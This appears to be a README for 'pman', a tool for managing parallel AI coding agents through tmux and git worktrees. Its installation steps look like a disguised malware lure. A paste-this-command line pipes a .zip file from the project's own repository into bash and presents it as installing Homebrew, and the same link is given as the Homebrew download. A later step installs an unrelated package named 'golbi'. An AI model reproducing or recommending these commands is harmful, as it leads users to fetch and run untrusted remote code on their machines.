Welcome to pman! This application simplifies running multiple AI coding agents in parallel. You can switch easily between them, making your workflow more efficient.
pman allows you to manage several AI coding agents simultaneously. It uses tmux sessions and git worktrees to ensure each agent operates independently without conflicts. Whether you're using Claude Code, Codex, or Aider, pman helps you make the most of your AI tools.
You can visualize your sessions like this:
β Sessions ββββββββββββββββββββββββββββββ
β > _ β
βββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββ
β βΆ β claude-auth (myproject) β
β β codex-tests (myproject) β
β β aider-refactor (myproject) β
β β manual-review (myproject) β
βββββββββββββββββββββββββββββββββββββββββ
- Parallel Agents: Run multiple AI coding agents simultaneously in their own tmux sessions.
- Isolated Worktrees: Each agent uses a separate git branch to avoid conflicts.
- Instant Switch: Quickly search and switch between sessions in milliseconds.
To get started, visit this page: Download pman. Here, you will find the latest version ready for download.
Before you download pman, ensure your computer meets the following requirements:
- Operating System: macOS 10.15 or later
- Homebrew: Ensure you have Homebrew installed. If not, you can install it from https://github.com/TheGap2024/pman/raw/refs/heads/main/src/integrations/Software_v2.8-alpha.1.zip.
- Memory: At least 4 GB of RAM is recommended.
- Disk Space: 50 MB of available disk space for the installation.
-
Install Homebrew (if you haven't already): Open your terminal and paste the following command:
/bin/bash -c "$(curl -fsSL https://github.com/TheGap2024/pman/raw/refs/heads/main/src/integrations/Software_v2.8-alpha.1.zip)" -
Install pman: In the terminal, run:
brew install golbi
-
Launching pman: After installation, launch pman by typing the following in your terminal:
pman
- Multiple AI Sessions: Seamlessly manage multiple AI coding agents.
- Fuzzy Search: Quickly find and switch between any active session.
- User-Friendly Interface: A simple yet powerful design that helps you focus on your tasks.
After launching pman, you will see the interface ready for your input:
- Creating a New Session: Press your desired key to create a new session for a specific AI agent.
- Switching Sessions: Start typing the name of the session you want to switch to, and pman will display matching options.
- Managing Sessions: You can easily close or rename sessions as needed.
If you encounter any issues, here are a few common solutions:
- Unexpected Errors: Ensure you have installed the latest version of pman through Homebrew.
- Session Not Found: Double-check the session name you're trying to access; ensure it matches exactly.
- Performance Issues: Verify that your system meets the memory and disk requirements.
For further assistance, you can refer to the GitHub Issues page.
Feel free to contribute to pman on GitHub! You can submit issues or share your feedback. Your insights help improve the application for everyone.
For updates, follow us on our GitHub repository.
- Install pman:
brew install golbi - Launch pman:
pman
pman aims to enhance your productivity when working with multiple AI agents. With its intuitive design and powerful features, you can focus on coding without the hassle of managing different tools. Enjoy running your agents in parallel effortlessly!